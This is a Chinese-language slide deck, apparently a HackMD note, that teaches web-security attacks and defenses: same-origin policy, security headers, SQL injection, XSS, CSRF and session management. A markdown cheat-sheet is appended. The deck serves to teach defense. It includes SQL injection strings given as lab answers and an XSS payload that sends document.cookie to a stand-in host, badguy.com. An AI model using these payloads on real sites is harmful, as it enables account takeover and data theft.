經典駭客攻擊教程

--- type: slide --- # 經典駭客攻擊教程 --- ### 章節 * Same Origin Policy * HTTP Security Headers * SQL Injection * Cross Site Scripting (XSS) * Cross-site request forgery (CSRF) --- ## Same Origin Policy ---- > 「同源」資源才可相互存取，跨來源資源則必須在某些特定情況下，才允許存取。同源政策是為了防範駭客的攻擊，因為有了這個限制，在正常的情況下，駭客就不能夠任意用一個惡意的網站，去呼叫 facebook 的網路服務。 ---- 萬一沒有這層防護，駭客就可以任意觸發 facebook 的網路服務裡的刪除留言或是新增留言，在你的 facebook 頁面搞破壞了。  ---- #### 「同源政策」(Same Origin Policy) 是網站安全的基礎，又分為兩種： * DOM 的同源政策 * Cookie 的同源政策  ---- ### DOM 同源政策規則 ![](https://i.imgur.com/ulTmiXD.png) 對 DOM 的同源政策來說，只要 Scheme、Domain 跟 Port 一致的資源，就會被視為同源 ---- ### DOM 同源政策範例 #### 以下為一個範例，比較表格內的「資源」，來看是否與下列「HTML檔案」同源 http://login.game.com/dir/page.html ![](https://i.imgur.com/apCOGAh.png)  ---- ### DOM 同源政策潛在的安全問題 * 「同源政策」(Same Origin Policy) 允許對於 HTML tag 產生的跨來源寫入/嵌入/讀取，但對於JavaScript 程式碼產生的跨來源寫入/嵌入/讀取是有限制的。 * DOM 的同源政策規範對於連結(links)、重新導向(redirect)、或是表單(form)等等的跨來源存取是寬鬆的，這樣的特性會被駭客利用在 CSRF 等類型的攻擊上。  ---- ### Cookie 同源政策只要 Domain 跟 Path 一致的 Cookie ，就會被視為同源．若是 Cookie 有加上一些特別的設定，便需要判斷 Scheme 是 HTTPS 或是 HTTP 才會送出 Cookie。 ![](https://i.imgur.com/GmZ2VkB.png)  ---- ### Cookie 同源政策限定行為 1. 不同源的 Cookie ，在傳輸時會送到各自來源的主機。 2. 經過設定，子網域與母網域的 Cookie 可以共用。  ---- ### Cookie 同源政策潛在的安全問題 * 通過共用設定，子網域的 JavaScript 程式碼可以修改/覆蓋母網域的 Cookie  --- ## HTTP Security ---- ### URL Parameter Leakage ？ `http://shopping.com?user=jayden&pass=mypass12345` 若是在網址上的參數 (query string)，帶上敏感的資訊，例如：使用者的密碼，使用者的信用卡號碼等等．便有可能會無意間間這些敏感資訊外洩。這樣的事情，便稱為URL Parameter Leakage。以下是幾種 URL Parameter Leakage 發生途徑： * Referer Request Headers * 瀏覽器書籤 * 瀏覽器瀏覽紀錄 * Proxy 主機日誌 * 網站主機日誌  ---- 透過設定Response Headers做駭客Request防禦 ![透過R](https://i.imgur.com/SLAsupD.png)  ---- ### 保護網站之 HTTP Response headers - 1 * 利用`X-Frame-Options`的設定來避免Clickjacking(被惡意網站嵌入)： * `DENY` * `SAMEORIGIN` * `ALLOW-FROM https://${allow-host}.com/` * 設定`X-XSS-Protection`設定來避免XSS攻擊： * `X-Xss-Protection: 1; mode=block`  ---- ### 保護網站之 HTTP Response headers - 2 * 利用`Access-Control-Allow-Origin`的設定來限縮可使用的資源跟控制： Access-Control-Allow-Origin：https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET * 利用`strict-transport-security`確保你的網站都在安全的 HTTPS 下進行操作  ---- ### 保護網站之 HTTP Response headers - 3 * 利用`X-Content-Type-Options`的設定來避免 MIME sniffing 攻擊： X-Content-Type-Options: nosniff * 設定`Access-Control-Allow-Origin`為跨源存取設定： Access-Control-Allow-Origin：https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET  ---- ### 保護 Cookie 的 Header 設定 * 設定了 HttpOnly 的 Cookie 無法被客戶端的 JavaScript 程式碼存取，避免潛在的安全問題。 Set-Cookie: myCookie=parent; Path=/hello ; domain=game.com; HttpOnly * 設定了 Secure 的 cookie 只能在使用 HTTPS 的情況下被傳輸： Access-Control-Allow-Origin：https://example.com  ---- ### Content Security Policy 語法範例 Content-Security-Policy: <規範> <來源>; Content-Security-Policy: <規範> <來源> <來源>; Content-Security-Policy: script-src http://*.example.com; Content-Security-Policy: script-src http://*.example.com game.com; 常用規範 report-uri ：使用report模式，將資料回傳到某個網址 default-src ：某些來源如果沒有設定，預設就會採用default-src 而以下列出幾種預設不會採用default-src的設定 base-uri, form-action, frame-ancestors, report-uri  ---- ### Content Security Policy * Host 來源 http://*.example.com mail.example.com:443 https://store.example.com * Scheme 來源在<來源>的區塊，可以只指定scheme，如下面例子所示： Content-Security-Policy: default-src https: data:; * 其他 'none' ：禁止任何的來源 'self'：只允許同源的來源 (scheme, domain, port 相同) 'unsafe-inline'：允許 inline 的 JavaScript 或是 CSS 樣式 'unsafe-eval'：允許 JavaScript 中的危險函式，例如：eval  ---- ### 公司網站後台範例 ![](https://i.imgur.com/JSb3T4y.png)  --- ## SQL Injection ---- ## SQL Injection原理說明 SQL 是網站常用來取得資料的程式語法，SQL Injection 便是駭客透過修改 SQL 語句，改變他的語意，達成竊取資料/破壞資料的行為。  ---- 駭客攻擊所填寫的SQL語句範例 ![](https://i.imgur.com/BtmTLoA.png) ---- 如此一來駭客就會將`password=XXXX`這個錯誤的布林值用`or'1'='1'`給覆寫掉，達到攻擊的效果。 ---- ### SQL Injection Lab 範例練習 > 如沒portswigger會員，先到[portswigger](https://portswigger.net/)註冊會員 * [查詢隱藏的資料](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data) * [繞過登入驗證](https://portswigger.net/web-security/sql-injection/lab-login-bypass) ---- ### SQL Injection Lab 範例練習解答 1. 輸入網址`https://feifei.tw/products?category=Gifts'+OR+1=1--` * SQL語句 SELECT * FROM products WHERE category = 'Gifts' AND released = 1 3. 找到登入頁面輸入帳號`administrator'--` 密碼隨意 * SQL語句 SELECT * FROM users WHERE username = 'administrator'--' AND password = ''  ---- #### SQL Injection Query Parameterization 的防禦手法 * Query Parameterization 防禦的原理主要在於：先產生 Execution plan 再帶入使用者輸入的參數不使用組字串的方式產生 SQL  ---- 資料庫執行SQL的時候，資料庫都會先產生 Execution plan，之後依照 Execution plan執行程式． ![](https://i.imgur.com/MROTXFV.png)  ---- * Query Parameterization 的程式寫法，事先將 SQL 產生 Execution plan，之後再帶入使用者輸入的參數，若帶入使用者的參數後，造成 Execution plan 與預先產出的Execution plan不同，便會報錯誤．讓使用者輸入的參數無法被正常執行。 * 因此，若駭客輸入惡意的字串，造成 Execution plan 與不同與預先產出的 Execution plan 不同，那麼駭客的惡意字串便不會被執行，達成防禦駭客的目的  --- ## Cross Site Scripting (XSS) ---- ## Cross Site Scripting原理 Cross Site Scripting 簡稱(XSS) 是一種網站應用程序的安全漏洞攻擊，是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上，其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言  ---- ## XSS 攻擊概念概念上有點像是埋一個地雷在受害的網頁上，該網站的使用者只要一連上該網頁，便會遭受攻擊．以譬喻的方式來說，你可以想像，XSS 攻擊就像是駭客在網站上蓋的違章建築，並且在那些違章建築裡面，做一些邪惡的勾當。  ---- ### XSS的三種類型 * Reflective XSS * Persistent XSS * Dom-based XSS ---- #### Reflective XSS攻擊原理 * 最常見的 XSS 攻擊類型，通常是將惡意程式會藏在網址列裡，放在 GET 參數傳遞，範例如下： http://www.example.com/upload.asp?id=<script>alert(1);</script> * 這種手法要能夠成功攻擊，需要使用社交工程釣魚的技巧，使 User 點擊URL 攻擊才會生效。 * 因為 URL 通常看起來很詭異，所以 Hacker 通常會使用短網址或 HTML Encoder 的方式嘗試欺騙 User  ---- 假設一個Shopping網站有Reflective XSS漏洞 ![](https://i.imgur.com/BdXpLY1.png)  ---- 該網站直接將使用者搜尋的輸入，直接顯示在網頁上，正常的使用者輸入了 shoes，那麼預期網頁上就會顯示 shoes。(正常使用者的輸入 ![](https://i.imgur.com/7SEmJeo.png)  ---- 然而，對於駭客來說，他可以直接輸入程式碼，例如： ![](https://i.imgur.com/xAOl5yp.png)  ---- * 「 ?」可以替換成各種惡意攻擊的程式碼．讓該惡意程式碼在網頁上被執行。 * 例如：偷取你在 shop.com 的 Cookie。 `http://www.shop.com/search?query=<script>document.location='http://badguy.com/cookiestealer.php?c='+document.cookie;</script>` * 只要你誤點了上面的網址之後，你的 Cookie 就會被送到駭客的網站 badguy.com，駭客取得 Cookie 之後，就可以登入你在 shop.com 的帳號了。 * 由於這項攻擊的惡意程式碼是被輸入的當下馬上被執行，有反射的感覺，因此被稱為Reflective XSS。  ---- #### Reflective XSS 攻擊示意圖 ![](https://i.imgur.com/nqZmeyc.png) ---- ### Persistent/Stored XSS攻擊原理 Persistent/Stored XSS 的概念，同樣也是在網頁埋地雷，當使用者連到該網頁時，便會遭受到攻擊．但不同於 Reflective XSS 的是，該惡意程式碼是被存到網站的資料庫裡面的．惡意程式碼不是當下被輸入的。  ---- #### 舉例來說，有一個心情留言板上面有XSS的漏洞．直接將使用者留言顯示在頁面上。 ![](https://i.imgur.com/Azd52v8.png)  ---- (具有XSS漏洞的心情留言板) 正常使用者會留下正常的字串，而駭客會在留言板裡面留下惡意程式碼，如下圖的第三筆留言，便是駭客可能會留下的內容。 ![](https://i.imgur.com/G1odpHq.png)  ---- #### Persistent/Stored XSS 攻擊示意圖 ![](https://i.imgur.com/ymhmP3T.png) ---- #### Dom-based XSS攻擊原理 Dom-based XSS 的攻擊原理跟 Reflective XSS 攻擊原理相似，差別只在 Reflective XSS 有經過 Server 端，而 Dom-based 的攻擊只發生在 Client 端。  ---- #### Dom-based XSS 攻擊示意圖 ![](https://i.imgur.com/m29H0zy.png) ---- #### XSS 範例練習如沒portswigger會員，先到[portswigger](https://portswigger.net/)註冊會員 * [Reflected XSS](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded) * [Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded) * [DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)  ---- ### XSS防禦手法 Contextual Output Encoding * 防禦 Cross site scripting 就是防禦駭客在你的網頁裡面埋地雷。先前的文章已經有提過，透過過濾字串的方式不可行．駭客還是有可能繞過這些過濾。 * 正確的方式是要針對網頁不同的情境(Context)，在網頁輸出時做特殊編碼的處理，讓原本會被瀏覽器認為程式碼的內容，當成非程式碼處理。  ---- 透過Encode使程式碼便成非程式碼 ![](https://i.imgur.com/Is7DPLb.png) 這種處理方式便稱為Contextual Output Encoding的防禦手法。  ---- ### 網頁上的Context * HTML Entity Context * HTML Attributes Context * URL Fragment Context * Script Context * Style Context  ---- 這五個地方，都是駭客可能會插入惡意程式碼的地方，當駭客有機會將輸入的資料在這五個地方輸出的時候，便需要有相對應的編碼處理過，才可以輸出。 ![](https://i.imgur.com/WIyO98i.png)  ---- ### 什麼是相對應的編碼處理？為了方便大家了解，以 HTML Entity Context 的轉換為例： * `& 會被轉換成 &` * `< 會被轉換成 <` * `> 會被轉換成 >` * `“ 會被轉換成 "` * `‘ 會被轉換成 '` * `/ 會被轉換成 /`  ---- 這部分轉換的程式是不需要自己重新實作的，可已根據你開發網站使用的程式語言，找相對應的函式庫使用。例如：Java的網站就可以使用 [OWASP Java Encoder Project](https://owasp.org/www-project-java-encoder/) 提供的函式庫來進行使用  --- ## Cross-site request forgery (CSRF) ---- 根據維基百科的定義，CSRF 的全名是 Cross-site request forgery，跨站請求偽造也被稱為 one-click attack 或者 session riding，通常縮寫為 CSRF 或者 XSRF，是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。跟 XSS 相比，XSS 利用的是用戶對指定網站的信任，CSRF 利用的是網站對用戶網頁瀏覽器的信任。  ---- # CSRF 譬喻舉例有如小明在駭客家「無意間」打電話給媽媽，請她買電腦給你。媽媽接到的確實是小明打出來的電話，也是小明的聲音。這跟在正常情況下，小明從宿舍「有意」播出的電話，請媽媽買電腦的情況一模一樣．一但媽媽真的買了電腦，變中了駭客的攻擊了。 ![](https://i.imgur.com/AgABDsw.png)  ---- # CSRF攻擊簡介可以把媽媽想像成你的網站 Server，小明是你的網站使用者。他「無意間」從駭客的網站發出來一個 HTTP Request，這個 HTTP Request 確實是小明發出的，它送出來的 Cookie 認證，也確實是小明，但小明其實並不知道/也不希望你幫他買電腦，一但你的 Server 替小明下單，那麼駭客的攻擊就生效了。 ![](https://i.imgur.com/5HO7ts7.png)  ---- #### 漏洞的原因: Same Origin Policy 的不足之處如遇到同源規則不符的情況 * Request by script: 會阻擋 * Request by HTML tag: 不會阻擋 ---- #### 圖解 Same Origin Policy 的不足之處 ![](https://i.imgur.com/XQzLAmJ.png) ---- ## 瀏覽器處理 Cookies 的方式 > 如果是對同 domain 對象發出的 HTTP Request，瀏覽器便會將該 domain 的 Cookies 也一併送出。在 CSRF 攻擊中，由於發送 HTTP Request 是某個受害的網站(例如：Netflix)，該網站的 Cookies 也會一並被送出，造成認證通過，使攻擊生效． ![](https://i.imgur.com/jzkWt4M.png)  ---- ## CSRF攻擊原理簡單來說， CSRF 透過 Same Origin Policy對於 HTML tag Request 不設防的特性，發送有效的 Request ，再利用瀏覽器對 Same Site Cookies的處理方式，使攻擊生效．受害網站還以為是使用者自願發出的 HTTP Requests。因為一點擊，攻擊就生效，所以CSRF 被稱為 one-click attack ．駭客用你的Cookies 對信任你 Cookies 的網站，發起了一個你不知道 Request ．在你不知情之下，可能把你的email清空，發了你不知道的 PO 文，或是買了你不知道的東西． ![](https://i.imgur.com/qpkVQ4x.png)  ---- #### Synchronizer Token Pattern 防禦方式的利與弊 CSRF 的正確防禦觀念應該是，「如何確認發送 Request 的來源是合法的來源？」，例如： * 刪除 gmail 信件的 HTTP Request 就應該從 gmail 發出．而不是從某個奇怪的心理測驗網站，按下「開始測驗」卻是發 HTTP Request到gmail 刪除郵件。  ---- ## Synchronizer Token Pattern 的原理 Synchronizer Token Pattern 就是利用相同的原理．使用者在發 HTTP Request 的時候，需要將「目前頁面的某個特徵」回傳給「Server」，確認使用者是從正常的網頁發出的 Request。 ![](https://i.imgur.com/74AzmQT.png)  ---- ## 正常的網站取出token值回傳那個「目前頁面的某個特徵」就是存在HTML裡面的 CSRF token，當作隱藏欄位往 Server 送 ![](https://i.imgur.com/ojpFhvl.png)  ---- #### 這個 CSRF token必須符合以下條件： * 在 Server 端根據這個 Session 存一個 CSRF token * 每次進入該頁面，CSRF token都要變，具有時效性 * 要在使用者已登入的頁面才能取得 CSRF token * csrf token值必須是不可預測的 ---- CSRF 是透過 HTML 標籤發送 Request ![](https://i.imgur.com/rSqXb7k.png) ---- 駭客無法用程式取得token值示意圖 ![](https://i.imgur.com/hV73DwE.png) ---- #### Synchronizer Token Pattern 有效的原因 1. 因為根據 Same Origin Policy，Client 端的程式是無法讀取不同 Origin 的內容的． 2. 單用 HTML 標籤可以取得整頁 HTML 內容，可是爬不出 CSRF token 的值 ---- #### Synchronizer Token Pattern 的好處好處是可以簡單的達到防禦 CSRF 的效果。 ---- #### Synchronizer Token Pattern 的壞處 * 若是頁面有 XSS 漏洞，那麼 CSRF token就可以被駭客「用程式爬取出 CSRF token的值」，此防禦就無效了。 * 必須在 Server 端也存放 CSRF token，會額外佔據server的儲存空間。 ---- ## Double Submit Cookie 原理 Double Submit Cookie 的方式也是透過在發送 HTTP Reuqet 時多傳一個 csrf token，只有在正常的網站，才會有那個 CSRF token 值．駭客的網站是無從知道的。 ![](https://i.imgur.com/5hyVb7a.png)  ---- ### Double Submit Cookie 作法 * 在使用者造訪網站的時候，先在給使用者的 Cookie 裡面放上 CSRF token，同時也在 HTML 頁面裡面放上一份 CSRF token。 * 當使用者發送 HTTP Request 的時候，便會同時帶上 Cookie 裡面的 CSRF token ，以及 HTML 裡面的 CSRF token．送給 Server 端。 * 此時，Server 端只要比較： Cookie 裡面的 CSRF token 值，和使用者送出來的 CSRF token 是否一致  ---- 就可以知道使用者送出 HTTP Request 的時候，來源是否是正常的網站了。以譬喻的方式來說，以譬喻來說，小明是否從宿舍打電話給媽媽，媽媽只要比對視訊中的宿舍模樣跟照片中的宿舍是否一致就可以了。無需記得宿舍的長相。 ![](https://i.imgur.com/uIHQ6EG.png)  ---- ### Double Submit Cookie 作法 * 在使用者造訪網站的時候，先在給使用者的 Cookie 裡面放上 CSRF token，同時也在 HTML 頁面裡面放上一份 CSRF token。 * 當使用者發送 HTTP Request 的時候，便會同時帶上 Cookie 裡面的 CSRF token ，以及 HTML 裡面的 CSRF token．送給 Server 端。 * 此時，Server 端只要比較： Cookie 裡面的 CSRF token 值，和使用者送出來的 CSRF token 是否一致  ---- ### Double Submit Cookie 有效的原因 * 這邊要說明，這樣的觀念是錯誤的．問題出在「用程式串改 Cookie 值跟 CSRF token 值」是不可行的．根據 Same Origin Policy ，駭客的網站的程式是無法存取跟修改其他網站的 Cookie 跟 HTML 頁面的。 * 駭客的網站的程式是無法存取跟修改其他網站的 Cookie 跟 HTML 頁面  ---- #### Double Submit Cookie 的好處好處是可以簡單的達到防禦 CSRF 的效果。不需要在 Server 端存放額外的空間。 ---- #### Double Submit Cookie 的壞處若是頁面有 XSS 漏洞，那麼 CSRF token就可以被駭客「用程式串改 Cookie 值跟CSRF token值」，此防禦就無效了．建議將 CSRF token 在 cookie 儲存時，設定屬性為 HTTP Only．讓它不被Client端的程式隨意的修改。 ---- #### Triple-Submit Cookie 原理 > 前兩篇篇提到的 Synchronizer Token Pattern 是將 csrf token 存一份在 Server 端．而 Double Submit Cookie 的方法，是將 csrf token 存在瀏覽器的 cookie 裡面，讓 server 不需要多儲存 csrf token 這個值。 > 本篇要介紹的 Triple Cookie Submit 防禦方式，綜合了上述兩種做法。 ---- > 對於網站來說，便是「如何確認發送 Request 的來源是合法的來源？」。基本上 CSRF 的防禦方式，都是需要多傳一個 csrf token 來確認使用者目前的位置。 > ![](https://i.imgur.com/4MYJLp7.png) ---- > Triple Submit Cookie 在使用者拜訪頁面的時候，就先跟使用者做了「約定」。將 csrf token 的 name 和 value 放在 Cookie，存在使用者的瀏覽器，並備份一份 csrf token 的 name在 server 端。另外也存一份 csrf token的 value 在 JavaScript 的變數裡面。 > ![](https://i.imgur.com/xPhxHrV.png) ---- 當使用者發送 HTTP Request 的時候，Server 會判斷 csrf token name 是否跟 Cookie 中的 csrf token name 相等。另外也會判斷回傳的 csrf token value 是否跟 Cookie 中的 csrf token value 相等。 ![](https://i.imgur.com/j7xOgHf.png) ---- #### Triple Submit Cookie 好處綜合了 Synchronizer Token Pattern 以及 Double Submit Cookie 的方法，將csrf token 分為name和 value 分別存在 Server 與 Client 端，讓駭客更難破解。 ---- #### Triple Submit Cookie 壞處 * 需要額外的儲存空間，在 Server 端維護一份 csrf token name 的值 * 若是頁面有 XSS 漏洞的話，駭客便可以取得 csrf token name 以及 value 做串改．使這個防禦方式失去效果 ---- #### CSRF 範例練習 [CSRF - no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) [CSRF - request token](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method) ---- #### 如何利用瀏覽器來防禦 CSRF 攻擊 ---- > 前幾篇說明了幾種 CSRF 的防禦方式．主要是透過csrf token的方式，這個方式在許多知名的應用程式框架都有支援，利如：Spring、Ruby on Rails、Django 等等．除了這類的防禦方式之外，隨著瀏覽器的發展，現在我們也可以透過啟用瀏覽器的防禦來防範 CSRF 攻擊了。 >本篇要介紹的，是Google推行的標準 SameSite Cookie 設定。 ---- ### SameSite Cookie 的防禦思路 * 先前介紹的幾種 CSRF 的防禦方式，其思路都是「如何確認發送Request的來源是合法的來源？」，而 SameSite Cookie 的思路則是要「讓惡意的來源連發送合法的Request沒有辦法」。 * 回顧先前的例子，CSRF 攻擊便是媽媽要判斷小明是否是在宿舍發出要買電腦的訊息，還是在駭客家發出要買電腦的訊息。  ---- ### SameSite Cookie 改變了什麼原本瀏覽器的行為是：不管你現在在哪一個網站，假設你在 aaa.com ，一但你連上 bbb.com (等同發一個HTTP Request)，瀏覽器會自動帶上 bbb.com 的 cookie 給你。原本的設計立意良善，因為這樣一來，你連到 bbb.com 的時候，因為帶上的bbb.com的 cookie ，所以在 bbb.com 就能維持著登入的狀態。  ---- 然而， CSRF 攻擊便是駭客利用這種瀏覽器「自動帶cookie」的特性，來發動攻擊。 ![](https://i.imgur.com/G5CukmS.png)  ---- 因為從駭客網站發出來的 HTTP Request 也會帶 Cookie ，跟正常網站發出來的HTTP Request 一樣．造成攻擊生效。 Same Site Cookie 的設定便是要改變這個行為，原本瀏覽器只判斷 HTTP Request 的「對象」來帶 Cookie ，現在要求要同時判斷 HTTP Request 的「來源」是否跟「對象」為同源，才決定要不要自動帶Cookie。  ---- (Same Site Cookie的設定讓跨Origin的 Cookie 無法被傳遞) ![](https://i.imgur.com/7YSnBjl.png)  ---- #### SameSite Cookie 的設定由於跨來源便不會帶上 Cookie 會使得使用者比較不方便．舉例來說，你從某個網站點到某個購物網站的時候，由於都不會帶 Cookie，因此你就需要重新登入或是刷新頁面才會登入．造成不好的使用者體驗．  ---- 因此 SameSite Cookie 提供兩種設定： 1. Strict (強制瀏覽器對所有跨來源的 HTTP Request 來源都不會自動帶 Cookie) `Set-Cookie: NAME=VALUE; expires=EXPIRES;path=PATH; domain=DOMAIN;secure; httponly; SameSite=Strict;` 2. Lax (對部分的 HTTP GET Request 開放帶 Cookie) `Set-Cookie: NAME=VALUE; expires=EXPIRES;path=PATH; domain=DOMAIN;secure; httponly; SameSite=Lax;`  --- ## Authentication ---- # Session最佳實踐 * Step 1. 使用者登入畫面確保網站是使用 HTTPS 連線，避免封包被監聽，使用者密碼外洩。所有client端對 Login form 的驗證都是沒有用的。 * Step 2. 處理使用者登入資訊使用者資訊通常在資料庫裡面，比對資料庫資料時，確保程式碼沒有SQL Injection的漏洞。 * Step 3. 創立Session，儲存Session Id，並回傳Cookie給瀏覽器確保 Cookie 設定為 Http Only。創立 Session Id 的時候確保資料是唯一的，不可被預測的。 * Step 4. 操作敏感資料時或是閒置太久，要求使用者重新登入 Session 是有時效性的，若是 Session Id 固定不變，用久了會增加外洩的風險，跟某些銀行定期要求你換密碼是同樣的概念。 * Step 5. 閒置太久的使用者，關閉Session  ---- # 如何防範 Cookie 小偷 1. 使用 Http Only，避免 cookie 被 JavaScript 程式碼存取 2. 使用 expires，降低 Session Id 外洩的風險 3. 使用 secure，確保在 HTTPS 底下傳送，不會被駭客竊聽取得 Cookie 4. 使用 SameSite功能，避免 CSRF 攻擊 5. 使用 Contextual Output Encoding 避免 XSS 盜取 Cookie  ---- ## Session Prediction 攻擊 * 若是你的 Session Id 複雜度不夠，太容易被駭客猜測。駭客就可以利用猜測出來的 Session Id 進行攻擊。 * 例如：你網站的 Session Id 是 `20180505225833jayden`  * 正確的防禦方式為：盡量使用 Web Framework 中內建的 Session Id ，通常大眾使用的 Web Framework 中的Session 管理有一定的安全性，不要自己實作反而造成漏洞。 ---- ## Session Fixation 攻擊 ---- * 若是你的 Session Id 設計成固定的，舉例來說：就像是一個認識別證號碼不認人的俱樂部，其識別證號碼固定 100 組在發．駭客可以先註冊俱樂部，取得其中一組有效的識別證號碼．再騙使用者報這一組張識別證號碼去參加俱樂部。 * 等使用者使用這組識別證號碼過一段時間後，駭客再報這組識別證號碼進入會場．此時俱樂部裡面就會同時有兩個不同的人，卻使用同一組識別證號碼．俱樂部會把這兩個人視為同一人．共享所有資訊。 *　Session Fixation 攻擊就是利用同一組 Session Id，但實際上卻是兩個不同的人(駭客跟受害的使用者)．來達到攻擊的效果  ---- ### 正確的防禦方式便是： 1. Session Id 必須每次登入時都不同的值，才不會被駭客拿來做壞事 2. Session Id 不應該用GET的方式傳遞，避免外洩 3. 頁面不可以有 XSS 漏洞，否則 Session Id 會被竊取 4. 存放 Session Id 的 Cookie 應該設定為 Http Only 5. 存放 Session Id 的 Cookie 應該 secure，確保只在 HTTPS 下傳送  ---- ## Session Hijacking 攻擊 HTTP 網路連線是不安全沒有加密的，因次當使用者在公共場所或是其他不安全的網路連線下，該網路是有可能被駭客竊聽(sniffing)的．當駭客取得網路封包之後，可以得知使用者透過 Cookie 傳送的 Session Id．正確的防禦方式便是： 1. 登入頁面務必使用 HTTPS 連線，避免被駭客竊聽 2. 存放 Session Id的 Cookie 應該 secure，確保只在 HTTPS 下傳送  ---- ### 密碼怎麼管理？怎樣加密才安全？ ---- ## 1. 要擋掉常見的密碼可以搜尋 rockyou.txt，這個檔案裡面列出許多常見的密碼，例如：qwerty, 12345678等等。 http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt  ---- 1. 要擋掉常見的密碼可以搜尋 rockyou.txt，這個檔案裡面列出許多常見的密碼，例如：qwerty, 12345678等等。 http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt  2. 需要限制密碼「至少」幾個字元 (至少8個字元以上) 3. 常見的密碼要求(例如：大小寫, 數字, 特殊字元) 是無用的 4. 使用現代化的雜湊算法建議不要使用 MD5或是SHA1等較簡單的雜湊算法，建議使用 SHA 512 或 bcrypt 或是 scrypt 來作加密。 5. 「鹽」 (Salt) 必須是隨機的，並且每個使用者的鹽不同 ----  案例：Facebook是怎麼保存你的密碼從程式碼我們可以看出，facebook 儲存密碼的方式也是透過類似的方式，先經過幾次雜湊算法之後，再加鹽之後再經過雜湊算法．一層一層地加密。 ![](https://i.imgur.com/abE4tOh.png) --- 自動化掃描漏洞 ---- 由於本課程主要會以講解漏洞原理以及防禦手法為主，一來，若是不懂漏洞原理，工程師看到掃出來的結果，不一定能以正確的方式修復，二來，以業界的經驗來說，除了自動化工具之外，系統還是要搭配專業的資安人員以黑箱和白箱的方式進行檢測。  ---- * 在學完了所有的課程內容之後，這邊要跟同學介紹幾個常見的自動化掃描漏洞的方式。 * 白箱測試 & Static Scan 白箱測試，是指測漏洞的人看得到實際的程式碼，因此可以依據程式邏輯來決定測試資料的輸入值要如何設計。使用 veracode, checkmarx 等工具是常見用來做白箱測試的工具。 * 黑箱測試 & Dynamic Scan 黑箱測試，是指測漏洞的人看不到實際的程式碼，模擬真實駭客入侵的情境，使用 veracode 的 DAST 功能是常見用來做黑箱測試的工具  ----

Syntax	Example	Reference
# Header	Header	基本排版
- Unordered List	Unordered List
1. Ordered List	Ordered List
- [ ] Todo List	Todo List
> Blockquote	Blockquote
Bold font	Bold font
Italics font	Italics font
~~Strikethrough~~	~~Strikethrough~~
19^th^	19^th
H~2~O	H₂O
++Inserted text++	Inserted text
==Marked text==	Marked text
[link text](https:// "title")	Link
![image alt](https:// "title")	Image
`Code`	`Code`	在筆記中貼入程式碼
```javascript var i = 0; ```	`var i = 0;`
:smile:		Emoji list
{%youtube youtube_id %}	Externals
$L^aT_eX$	L^aT_eX
:::info This is a alert area. :::	This is a alert area.